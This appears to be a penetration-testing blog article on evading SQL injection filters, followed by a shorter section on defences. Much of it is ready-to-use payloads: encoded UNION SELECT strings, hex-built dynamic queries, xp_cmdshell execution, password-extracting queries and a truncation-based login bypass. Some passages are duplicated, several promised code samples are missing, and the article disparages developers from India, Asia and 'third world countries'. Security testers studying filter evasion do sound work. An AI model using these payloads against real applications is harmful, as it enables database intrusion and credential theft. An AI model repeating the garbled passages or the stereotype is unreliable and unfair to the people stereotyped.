Introduction
Now days cyber criminals are increasingly using automated SQL injection attacks powered by botnets to hit vulnerable systems. SQL injection attacks is the prevalent way of attacking front-end Web applications and back-end databases to compromise data confidentiality. Recently published reports by the Web Hacking Incidents Database (WHID) shows SQL injections as the top attack vector, making up 19 percent of all security breaches examined by WHID. Open Web Application Security Project (OWASP) top 10 risk categorization chart, rates SQL injection risk as number one threat along with operating system command injection and LDAP injection attack.
But why does this happen? Have you ever thought about it? Well the answer is easy, we're seeing such an increase in SQL injection incidents because we have an "industrialization of hacking". SQL injection attacks are generally carried out by typing malformed "SQL commands into front-end Web application input boxes" that are tied to database accounts in order to trick the database into offering more access to information than the developer intended. Part of the reason for such a huge rise in SQL injection attacks is that the last years criminals are increasingly using automated and manual SQL injection attacks powered by botnets or professional hackers to hit vulnerable systems. They use the attacks to both steal information from databases and to inject malicious code into these databases as a means to perpetrate further attacks.
Why SQL injection attacks still exist
SQL injection attacks happen because of badly implemented Web Application filters, meaning that the web application will often fail to properly sanitize malicious user input. You can usually find this type of badly implemented SQL injection filters in outsourced web applications to India, Asia or other possibly third world countries, that developers are not aware of what SQL injection proper filtering is. Most of the time well known large organizations from the financial sector will create a large team of functional and security testers and then outsource the project in order to reduce the development cost, at the same time they would try to maintain and increase the control of the web application development progress and quality assurance process. Unfortunately this is not easy to happen or even possible due to bad management procedures or lack of security awareness from the side of the developers. The main mistake the developers do is that they are looking for a quick fix, for example they might think that placing a Web Application Firewall (WAF) in-front of a web application and apply black list filtering will solve the problem.
That is wrong because SQL injection attacks can be obfuscated and relatively easy bypass these quick fixes. Obfuscating SQL injections attacks nowadays is a de facto standard for penetration testing and has been used by well known web malware such as ASPRox. The Asprox botnet (Discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL Injections into websites in order to spread Malware. Since its discovery in 2008 the Asprox botnet has been involved in multiple high-profile attacks on various websites in order to spread malware. The botnet itself consists of roughly 15,000 infected computers as of May, 2008 although the size of the botnet itself is highly variable as the controllers of the botnet have been known to deliberately shrink (and later regrow) their botnet in order to prevent more aggressive countermeasures from the IT Community. ASPRox used extensively automated obfuscated SQL injection attacks, in order to better understand what SQL obfuscation means, within the context of computer security, you should consider obfuscated SQL injection attacks as a similar technique to virus polymorphism.
Now days cyber criminals are increasingly using automated SQL injection attacks powered by botnets to hit vulnerable systems. SQL injection attacks is the prevalent way of attacking front-end Web applications and back-end databases to compromise data confidentiality. Recently published reports by the Web Hacking Incidents Database (WHID) shows SQL injections as the top attack vector, making up 19 percent of all security breaches examined by WHID. Open Web Application Security Project (OWASP) top 10 risk categorization chart, rates SQL injection risk as number one threat along with operating system command injection and LDAP injection attack.
But why does this happen? Have you ever thought about it? Well the answer is easy, we're seeing such an increase in SQL injection incidents because we have an "industrialization of hacking". SQL injection attacks are generally carried out by typing malformed "SQL commands into front-end Web application input boxes" that are tied to database accounts in order to trick the database into offering more access to information than the developer intended. Part of the reason for such a huge rise in SQL injection attacks is that the last years criminals are increasingly using automated and manual SQL injection attacks powered by botnets or professional hackers to hit vulnerable systems. They use the attacks to both steal information from databases and to inject malicious code into these databases as a means to perpetrate further attacks.
Why SQL injection attacks still exist
SQL injection attacks happen because of badly implemented Web Application filters, meaning that the web application will often fail to properly sanitize malicious user input. You can usually find this type of badly implemented SQL injection filters in outsourced web applications to India, Asia or other possibly third world countries, that developers are not aware of what SQL injection proper filtering is. Most of the time well known large organizations from the financial sector will create a large team of functional and security testers and then outsource the project in order to reduce the development cost, at the same time they would try to maintain and increase the control of the web application development progress and quality assurance process. Unfortunately this is not easy to happen or even possible due to bad management procedures or lack of security awareness from the side of the developers. The main mistake the developers do is that they are looking for a quick fix, for example they might think that placing a Web Application Firewall (WAF) in-front of a web application and apply black list filtering will solve the problem.
That is wrong because SQL injection attacks can be obfuscated and relatively easy bypass these quick fixes. Obfuscating SQL injections attacks nowadays is a de facto standard for penetration testing and has been used by well known web malware such as ASPRox. The Asprox botnet (Discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL Injections into websites in order to spread Malware. Since its discovery in 2008 the Asprox botnet has been involved in multiple high-profile attacks on various websites in order to spread malware. The botnet itself consists of roughly 15,000 infected computers as of May, 2008 although the size of the botnet itself is highly variable as the controllers of the botnet have been known to deliberately shrink (and later regrow) their botnet in order to prevent more aggressive countermeasures from the IT Community. ASPRox used extensively automated obfuscated SQL injection attacks, in order to better understand what SQL obfuscation means, within the context of computer security, you should consider obfuscated SQL injection attacks as a similar technique to virus polymorphism.
Why obfuscate SQL injection
This article is going to talk about Obfuscated SQL Injection Fuzzing. Nowadays all high profile sites found in financial and telecommunication sector use filters to filter out all types of vulnerabilities such as SQL, XSS, XXE, Http Header Injection e.t.c. In this particular article we are going to talk only about Obfuscated SQL Fuzzing Injection attacks.
First of all what obfuscate means based on the Dictionary.com:
"Definition of obfuscate: verb (used with object), ob·fus·cat·ed, ob·fus·cat·ing.
- To confuse, bewilder, or stupefy.
- To make obscure or unclear: to obfuscate a problem with extraneous information.
- To darken."
Common types of SQL filters
In the context of SQL injection attacks, the most interesting filters you are likely to encounter are those which attempt to block any input containing one or more of the following:
- SQL keywords, such as SELECT, AND, INSERT
- Specific individual characters, such as quotation marks or hyphens
- White-spaces
Often, the application code that these filters protect is vulnerable to SQL injection (because incompetent, ignorant or badly payed developers exist all over the world), and to exploit the vulnerability you need to find a means of evading the filter to pass your malicious input to the vulnerable code. In the next few sections, we will examine some techniques that you can use to do just that.
Bypassing SQL Injection filters
The are numerous ways to by pass SQL injection filters, there even more ways to exploit them too. The most common way of evading SQL injection filters are:
- Using Case Variation
- Using SQL Comments
- Using URL Encoding
- Using Dynamic Query Execution
- Using Null Bytes
- Nesting Stripped Expressions
- Exploiting Truncation
- Using Non-Standard Entry Points
- Combine all techniques above
Using Case Variation
If a keyword-blocking filter is particularly naive, you may be able to circumvent it by varying the case of the characters in your attack string, because the database handles SQL keywords in a case-insensitive manner. For example, if the following input is being blocked:
' UNION SELECT @@version --
You may be able to bypass the filter using the following alternative:
' UnIoN sElEcT @@version --
Note: Using only uppercase or only lower case might also work, but I would not suggest spending a lot of time in that type of fuzzing.
Using SQL Comments
You can use in-line comment sequences to create snippets of SQL which are syntactically unusual but perfectly valid, and which bypass various kinds of input filters. You can circumvent various simple pattern-matching filters in this way.
Of course, you can use this same technique to bypass filters which simply block any white-space whatsoever. Many developers wrongly believe that by restricting input to a single token they are preventing SQL injection attacks, forgetting that in-line comments enable an attacker to construct arbitrarily complex SQL without using any spaces.
In the case of MySQL, you can even use in-line comments within SQL keywords, enabling many common keyword-blocking filters to be circumvented. For example, the following attack will still work if the back-end database is MySQL if you only check for spaces to SQL injection strings:
' UNION/**/SELECT/**/@@version/**/-- Or ' U/**/NI/**/ON/**/SELECT/**/@@version/**/--
Note: This type of filter bypassing methodology covers gap filling and black list bad character sequence filtering.
Using URL Encoding
URL encoding is a versatile technique that you can use to defeat many kinds of input filters. In its most basic form, this involves replacing problematic characters with their ASCII code in hexadecimal form, preceded by the % character. For example, the ASCII code for a single quotation mark is 0x27, so its URL-encoded representation is %27.In this situation, you can use an attack such as the following to bypass a filter:
Original query:
' UNION SELECT @@version --
URL-encoded query:
%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%40%40%76%65%72%73%69%6f%6e%20%2d%2d
In other cases, this basic URL-encoding attack does not work, but you can nevertheless circumvent the filter by double-URL-encoding the blocked characters. In the double encoded attack, the % character in the original attack is itself URL-encoded in the normal way (as %25) so that the double-URL-encoded form of a single quotation mark is %2527.If you modify the preceding attack to use double-URL encoding, it looks like this:
%25%32%37%25%32%30%25%35%35%25%34%65%25%34%39%25%34%66%25%34%65%25
%32%30%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32
%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39
%25%36%66%25%36%65%25%32%30%25%32%64%25%32%64
Note: You should also take into consideration that selective URL-encoding is also a valid way to by pass SQL injection filtering.
Double-URL encoding sometimes works because Web applications sometimes decode user input more than once, and apply their input filters before the final decoding step. In the preceding example, the steps involved are as follows:
- The attacker supplies the input ‘%252f%252a∗/UNION …
- The application URL decodes the input as ‘%2f%2a∗/ UNION…
- The application validates that the input does not contain /∗ (which it doesn't).
- The application URL decodes the input as ‘/∗∗/ UNION…
- The application processes the input within an SQL query, and the attack is successful.
27 20 55 4E 49 4F 4E 20 53 45 4C 45 43 54 20 40 40 76 65 72 73 69 6F 6E 20 2D 2D
Note: I have not been experimenting a lot with unicode encoding and frankly I do not think it is going to be very useful fuzzing SQL with Unicode encoding.
Further, because of the complexity of the Unicode specification, decoders often tolerate illegal encoding and decode them on a “closest fit” basis. If an application's input validation checks for certain literal and Unicode-encoded strings, it may be possible to submit illegal encoding of blocked characters, which will be accepted by the input filter but which will decode appropriately to deliver a successful attack.
Using the CAST and CONVERT keywords
Another subcategory of encoding attacks is the CAST and CONVERT attack. The CAST and CONVERT keyword explicitly converts an expression of one data type to another more over the CAST keyword is embedded to MySQL, MSSQL and Postgre databases. It has been used by various types of malware attacks in numerous web sites and is a very interesting SQL injection filter bypass. The most infamous botnet that used this type of attack was ASPRox botnet virus. Have a look at the syntax:
- Using CAST:
- CAST ( expression AS data_type )
- Using CONVERT:
- CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
SELECT SUBSTRING('CAST and CONVERT', 1, 4)
Returned result: CAST
SELECT CAST('CAST and CONVERT' AS char(4))
Returned result: CAST
SELECT CONVERT(varchar,'CAST',1)
Returned result: CAST
Note: See that both SUBSTRING and CAST keywords behave the same and can also be used for blind SQL injection attacks (you can try to test this queries with sqlzoo.net).
Further expanding on CONVERT and CAST we can identify that also the following SQL queries are valid and also very interesting, see how we can extract the MSSQL database version with CAST and CONVERT:
1st Step: Identify the query to execute:
SELECT @@VERSION
2nd Step Construct the query based on keywords CAST and CONVERT:
SELECT CAST('SELECT @@VERSION' AS VARCHAR(16))
OR
SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1)
3rd Step Execute the query using the keyword EXEC:
SET @sqlcommand = SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1)
EXEC(@sqlcommand)
OR convert first the SELECT @@VERSION to Hex
SET @sqlcommand = (SELECT CAST(0x53454C45435420404076657273696F6E00 AS VARCHAR(34))
EXEC(@sqlcommand)
You can also use nested CAST and CONVERT queries to inject your malicious input. That way you can start interchanging between different encoding types and create more complicated queries. This should be a good example:
CAST(CAST(PAYLOAD IN HEX, VARCHAR(CHARACTER LENGTH OF PAYLOAD)),, VARCHAR(CHARACTER LENGTH OF TOTAL PAYLOAD)
Note: See how simple is it.
Using Dynamic Query Execution
Many databases allow SQL queries to be executed dynamically, by passing a string containing an SQL query into a database function which executes the query. If you have discovered a valid SQL injection point, but find that the application’s input filters are blocking queries you want to inject, you may be able to use dynamic execution to circumvent the filters. Dynamic query execution works differently on different databases.
On Microsoft SQL Server, you can use the EXEC function to execute a query in string form. For example:
'EXEC xp_cmdshell ‘dir’; — Or 'UNION EXEC xp_cmdshell ‘dir’; —
Note: Using the EXEC function you can enumerate all enabled stored procedures in the back end database and also map assigned privileges to stored procedures.
In Oracle, you can use the EXECUTE IMMEDIATE command to execute a query in string form. For example:
DECLARE pw VARCHAR2(1000);
BEGIN
EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw;
DBMS_OUTPUT.PUT_LINE(pw);
END;
Note: You can do that line by line or all together, of course other filter by passing methodologies can be combined with this one.
The above SQL injection attack type can be submitted to the web application attack entry point, either the way it is presented above or as a batch of commands separated by semicolons when the back end database accepts batch queries (e.g. MSSQL).
For example in MSSQL you could do something like this:
SET @MSSQLVERSION = SELECT @@VERSION; EXEC (@MSSQLVERSION); --
Note: The same query can be submitted from different web application entry points or the same.
Databases provide various means of manipulating strings, and the key to using dynamic execution to defeat input filters is to use the string manipulation functions to convert input that is allowed by the filters into a string which contains your desired query. In the simplest case, you can use string concatenation to construct a string from smaller parts. Different databases use different syntax for string concatenation.
For example, if the SQL keyword SELECT is blocked, you can construct it as follows:
Oracle: 'SEL'||'ECT'
MS-SQL: 'SEL'+'ECT'
MySQL: 'SEL' 'ECT'
Further examples of this SQL obfuscation method would be:
Oracle: UN’||’ION SEL'||'ECT NU’||’LL FR’||’OM DU’||’AL--
MS-SQL: ' un’+’ion (se’+’lect @@version) --
MySQL: ' SE’’LECT user(); #
Further examples of this SQL obfuscation method would be:
Oracle: UN’||’ION SEL'||'ECT NU’||’LL FR’||’OM DU’||’AL--
MS-SQL: ' un’+’ion (se’+’lect @@version) --
MySQL: ' SE’’LECT user(); #
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
Note: The Firefox plug-in tool called Hackbar is also doing that automatically (for a long time now).
You can construct strings in this way without using any quotation mark characters. If you have an SQL injection entry point where quotation marks are blocked, you can use the CHAR function to place strings (such as ‘admin’) into your exploits. Other string manipulation functions may be useful as well. For example, Oracle includes the functions REVERSE, TRANSLATE, REPLACE, and SUBSTR. Another way to construct strings for dynamic execution on the SQL Server platform is to instantiate a string from a single hexadecimal number which represents the string’s ASCII character codes. For example, the string:
SELECT password FROM tblUsers
Can be constructed and dynamically executed as follows:
DECLARE @query VARCHAR(100)
SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273
EXEC(@query)
Note: The mass SQL injection attacks against Web applications that started in early 2008 employed this technique to reduce the chance of their exploit code being blocked by input filters in the applications being attacked.
Using Null Bytes
Often, the input filters which you need to bypass in order to exploit an SQL injection vulnerability are implemented outside the application's own code, in intrusion detection systems (IDSs) or WAFs. For performance reasons, these components are typically written in native code languages, such as C++. In this situation, you can often use null byte attacks to circumvent input filters and smuggle your exploits into the back-end application.
Null byte attacks work due to the different ways that null bytes are handled in native and managed code. In native code, the length of a string is determined by the position of the first null byte from the start of the string—the null byte effectively terminates the string. In managed code, on the other hand, string objects comprise a character array (which may contain null bytes) and a separate record of the string's length. This difference means that when the native filter processes your input, it may stop processing the input when it encounters a null byte, because this denotes the end of the string as far as the filter is concerned. If the input prior to the null byte is benign, the filter will not block the input.
However, when the same input is processed by the application, in a managed code context, the full input following the null byte will be processed, allowing your exploit to be executed. To perform a null byte attack, you simply need to supply a URL-encoded null byte (that looks like this ) prior to any characters that the filter is blocking. In the original example, you may be able to circumvent native input filters using an attack string such as the following:
' UNION SELECT password FROM tblUsers WHERE username='admin'--
Note: When access is used as a bank end database NULL bytes can be used as SQL query delimiter.
Nesting Stripped Expressions
Some sanitizing filters strip certain characters or expressions from user input, and then process the remaining data in the usual way. If an expression that is being stripped contains two or more characters, and the filter is not applied recursively, you can normally defeat the filter by nesting the banned expression inside itself.
For example, if the SQL keyword SELECT is being stripped from your input, you can use the following input to defeat the filter:
SELSELECTECT
Note: See the simplicity of bypassing the stupid filter.
Exploiting Truncation
Sanitizing filters often perform several operations on user-supplied data, and occasionally one of the steps is to truncate the input to a maximum length, perhaps in an effort to prevent buffer overflow attacks, or accommodate data within database fields that have a predefined maximum length.Consider a login function which performs the following SQL query, incorporating two items of user-supplied input:
SELECT uid FROM tblUsers WHERE username = 'jlo' AND password = 'r1Mj06'
Suppose the application employs a sanitizing filter, which performs the following steps:
Doubles up quotation marks, replacing each instance of a single quote (‘) with two single quotes (“)
Truncates each item to 16 characters. If you supply a typical SQL injection attack vector such as:
admin'--
The following query will be executed, and your attack will fail:
SELECT uid FROM tblUsers WHERE username = 'admin''--' AND password = ''
Note: The doubled-up quotes mean that your input fails to terminate the username string, and so the query actually checks for a user with the literal username you supplied. However, if you instead supply the username aaaaaaaaaaaaaaa' which contains 15 a’s and one quotation mark, the application first doubles up the quote, resulting in a 17-character string, and then removes the additional quote by truncating to 16 characters. This enables you to smuggle an unescaped quotation mark into the query, thus interfering with its syntax:
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = ''
Note: This initial attack results in an error, because you effectively have an unterminated string
Each pair of quotes following the a’s represents an escaped quote, and there is no final quote to delimit the user-name string. However, because you have a second insertion point, in the password field, you can restore the syntactic validity of the query, and bypass the login, by also supplying the following password:
or 1=1--
This causes the application to perform the following query:
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = 'or 1=1--'
When the database executes this query, it checks for table entries where the literal username is
aaaaaaaaaaaaaaa' AND password =
which is presumably always false, or where 1 = 1, which is always true. Hence, the query will return the UID of every user in the table, typically causing the application to log you in as the first user in the table. To log in as a specific user (e.g., with UID 0), you would supply a password such as the following:
or uid=0--
Note: This query is considered to be a very old technique used for authentication bypass or privilege escalation.
Using fuzzdb for Web Application black box testing
Fuzzdb aggregates known attack patterns, predictable resource names, server response messages, and other resources like web shells into the most comprehensive Open Source database of malicious and malformed input test cases. Using fuzzdb attack patterns to test Web Applications is a must nowadays. Importing the fuzzdb lists to Web Fuzzers should be very common if you want to get some real results. If you use fuzzdb along with Burp Scanner, Intruder and all other features you are definitely going to get better results even from any Web Application Scanner.
What's in fuzzdb?
So what is fuzzdb?
With Python you can very easily mutate all interesting attack patterns concerning SQL injection, feed them to Burp Intruder as an attack list and use them to test Web Applications. There are numerous code examples for Python and even a very novice programmer can learn text manipulation with Python. The two basic modules you will have to use to perform the mutations are:
About Python regular expressions
A regular expression in Python is a concise way of describing a pattern that might occur in a text. With Python regular expressions you can answer questions such as:
URL-encoding using Python
Mutating payloads is easy with Python, so when you would want to URL encode the SQL injection inputs from fuzzdb you can use the very simple Python script displayed below:
Note: In the above example you can see how easy is to URL-encode the fuzzdb list and then feed the output to Burp Intruder to test the application. It is obviously not the best Python code for URL encoding but I had no time so I did it the nasty way.
Gap filter by passing using Python
With Python you can very easily replace the gaps with the following character sequence /**/ the following code shows exactly that:
Note: See how easy and simple is SQL comment gap replacement. You can use not only SQL comment to fill the gaps but also insert within the ordinary SQL queries.
Again with Python you can very easily replace the gaps with the following character sequence %20 the following code shows exactly that:
Note: Again see how easy and simple is this (the special character sequence will be removed from the Web app).
Using Null Bytes with Python to bypass filters
With Python you can very easy concatenate the null character at the begging of the line, the following code shows exactly that:
Note: Again see how easy and simple is to add at the begging of each line the null character.
Analyzing SQL Injection counter measures
So what is fuzzdb?
- Fuzzdb is a collection of attack patterns: Categorized by platform, language, and attack type, malicious and malformed inputs known to cause information leakage and exploitation have been collected into sets of test cases. FuzzDB contains comprehensive lists of attack payloads known to cause issues like OS command injection, directory listings, directory traversals, source exposure, file upload bypass, authentication bypass, http header crlf injections, and more.
- Fuzzdb is a collection of response analysis strings: Since system responses also contain predictable strings, fuzzdb contains a set of regex pattern dictionaries such as interesting error messages to aid detection software security defects, lists of common Session ID cookie names, and more.
- Fuzzdb is a collection of other useful stuff: Webshells, common password and username lists, and some handy wordlists.
- Fuzzdb is a collection of : Documentation - Helpful documentation and cheat sheets sourced from around the web that are relevant to the payload categories.
With Python you can very easily mutate all interesting attack patterns concerning SQL injection, feed them to Burp Intruder as an attack list and use them to test Web Applications. There are numerous code examples for Python and even a very novice programmer can learn text manipulation with Python. The two basic modules you will have to use to perform the mutations are:
- Standard module: string
- Standard module: re
About Python regular expressions
A regular expression in Python is a concise way of describing a pattern that might occur in a text. With Python regular expressions you can answer questions such as:
- Do certain characters occur?
- In a particular order?
- Are sub-patterns repeated a given number of times?
- Do other sub-patterns exclude a match?
URL-encoding using Python
Mutating payloads is easy with Python, so when you would want to URL encode the SQL injection inputs from fuzzdb you can use the very simple Python script displayed below:
Note: In the above example you can see how easy is to URL-encode the fuzzdb list and then feed the output to Burp Intruder to test the application. It is obviously not the best Python code for URL encoding but I had no time so I did it the nasty way.
Gap filter by passing using Python
With Python you can very easily replace the gaps with the following character sequence /**/ the following code shows exactly that:
Again with Python you can very easily replace the gaps with the following character sequence %20 the following code shows exactly that:
Using Null Bytes with Python to bypass filters
With Python you can very easy concatenate the null character at the begging of the line, the following code shows exactly that:
Note: Again see how easy and simple is to add at the begging of each line the null character.
Analyzing SQL Injection counter measures
The only ways someone should defend against SQL Injection attacks are the following and only the following:
- White list filters
- Black and white list hybrid filters (not only black list filters)
- Parametrized SQL queries
- Stored procedures with proper privilege assignments
White list filtering should be easy to understand, you just use a Web Server control that accepts only certain set of characters and rejects all other set of characters, the following concept is presented below:
Note: The white list filter accepts only ASCII characters and reject all other characters (this is an example and does not mean that SQL Injection is blocked by allowing ASCII character set).
White list filtering should be your first choice when implementing Web Application filtering mechanisms, especially when the input is very specific, such as credit card numbers. Also white list filtering has better performance when compared to black list filters with long black lists.
Black list filters
Black list filtering should also be easy to understand, you just use a Web Server control that rejects only certain sets of characters and accept all other, the following concept is presented below:
Note: Black list filters reject only single quotes and accept all other characters (this is an example and does not mean that SQL Injection is prevented by blocking single quote characters).
Why people use black list filters? Simple because they want to find an easy solution to protect multiple Web Applications with generic SQL black list filters that apply for all their Web Applications Infra-structure. If someone would want for example to protect his/her Web Application he/she would block single quote for all Web Applications and that way add an extra layer of security (or at least that is what he/she thinks). It is also common knowledge that in order to properly configure a Web Application Firewall you would have to be a Web System Administrator and a Web Developer at the same time, which in most companies does not happen. WAF's give you the option of properly configuring white list filters if you know how the Web Application works (e.g. Http request throttling, allowed character set per html form e.t.c) but in the majority of the situations the developer of the web application to be protected is not going to do the WAF configuration.
For the reasons explained above black list filtering methodology is unfortunately adopted by many developers and vendors that develop IPS/IDS, WAF's and firewall devices. Developers and system engineers lack of imagination and are not really interested into bypassing their own filters or doing a good job on understanding hacking.
IMPORTANT NOTE: If you believe that you have an important Web Application and you need to protect it then DO NOT:
- Think that the company WAF/IPS is going to block any advanced SQL Injection attack.
- Use black list filtering, it is WRONG because most of the time does not provide real world protection.
- Use automated only web security scanners to test business critical web sites.
Black and white list hybrid filters
Black and White list hybrid filtering again should be also easy to understand, you just use a Web Server control that first accepts certain sets of characters and then rejects a certain character sequence of the accepted set of characters. This type of filter is the most effective and should be used as an alternative of white list filtering ONLY AND ONLY IF WHITE LIST FILTERING DOES NOT DO THE JOB.
Note: The white/black list hybrid filter displayed above accepts ASCII code and then from the accepted set of characters single quote is filtered out. This would have meaning if for example you would want to accept single quotes in a certain position, for example you might want to allow the string Mr Smith's but not Mr' Smiths. You can do that if you implement "both type of filters" into a single regular expression.
It is important to understand that when using white/black list hybrid filters to sanitize your input it means that you have excluded white list filtering because it is not going to do the job the proper way. It should also be noticed that the black list filter functionality is better to be applied after the white list filter for performance reasons (imagine having a long ugly list of character sequences to run though your input). It should also be clear by now that again when you use white/black list hybrid filtering in the black list filter part you would want to filter certain characters based on:
- The position within the user supplied input (e.g. if you allow the + character then it should not be placed within strings such as var+iable, where variable is a critical web application variable).
- Certain sequences of bad characters but not the characters themselves (e.g. block '-- , '# or '+' but do not block ++).
I talked about white list filtering, I talked about black list filtering, I even mentioned about hybrid filters. What I did not talk about is the Black list filter mentality that "lives" in big and profitable organizations. In "profitable" big organizations such as banks or big software vendors you will find something that they call information technology (IT) operation team (ITOPT). ITOPT is responsible for deploying the Web Applications, applying proper patches and making sure that everyone is happy and everything is up and running. Now what happens is that these guys will ask from information security consultants that have never performed a single decent Web Application penetration test in their life to help them deploy THE Web Application Firewall (WAF). So what happens next is for them to propose a simple low cost black list filtering approach. Why? Because it is an easy and generic solution (sounds like a smart move e?). DAAAA this is when the trouble starts, applying the same black list filter for all the custom company Web Applications is Wrong.
The following picture shows a conceptual representation of bad WAF configuration:
Note: You see what is wrong here. The same filter is applied on all Web Applications, with out taking into consideration the special needs of each Web Application separately.
Parametrized SQL queries
With most development platforms, parametrized statements can be used and work with type fixed parameters (sometimes called placeholders or bind variables) instead of embedding user input in the statement. A placeholder can only store the value of the given type and not the arbitrary SQL fragment. Hence the SQL injection would simply be treated as a strange (and probably invalid) parameter value.
Stored procedures with proper privilege assignments
Stored procedures are implemented differently in every database, so for each database we will give a different definition:
For MSSQL: Stored procedures in MSSQL means pre-compiled execution. SQL Server compiles each stored procedure once and then re-utilizes an execution plan invoking the stored procedure. This results in a tremendous performance boost when stored procedures are called repeatedly and also there is a forced type casting protection.
For MySQL: Stored procedures increases the performance of the application. Once created, a stored procedure is compiled and stored in the database catalog. It runs faster than uncompiled SQL commands which are sent from the application and of course compiled code means type casting safety.
For Oracle: Stored procedures provide a powerful way to code application logic that can be stored on the server. The language used to code stored procedures is a database-specific procedural extension of SQL (in Oracle it is PL/SQL), dynamic SQL can be used in:
- EXECUTE IMMEDIATE statements
- DBMS_SQL package
- Cursors
For these type of attacks there is a tool written by Gerasimos Kassaras (this is me) that can obfuscate SQL payloads (and other payloads), it is the Teenage Mutant Ninja Turtle tool project which you can download from here.
The Teenage Mutant Ninja Turtles project is four things:
- A Web Application payload database.
- A Web Application error database.
- A Web Application payload mutator.
- A Web Application payload manager.
Epilogue
This article aims to become a complete guide for bypassing SQL injection filtering (meaning I am going to do regular updates) used by a wide range of web applications.
Reference:
- The Web Application Hacker’s Handbook (Second Edition)
- SQL Injection Attack and defence (First Edition)
- http://en.wikipedia.org/wiki/SQL_injection
- http://forums.mysql.com/read.php?98,358569
- http://www.mssqltips.com/sqlservertutorial/160/sql-server-stored-procedure/
- http://palizine.plynt.com/issues/2006Jun/injection-stored-procedures/
- http://software-security.sans.org/developer-how-to/fix-sql-injection-in-oracle-database-code
- http://code.google.com/p/fuzzdb/
- http://www.ibm.com/developerworks/linux/library/l-python5/index.html
- http://docs.python.org/library/re.html
- http://www.rishida.net/tools/conversion/
- http://isc.sans.edu/diary.html?storyid=9397
- http://urldecoder.codeplex.com/
- https://code.google.com/p/teenage-mutant-ninja-turtles/downloads/list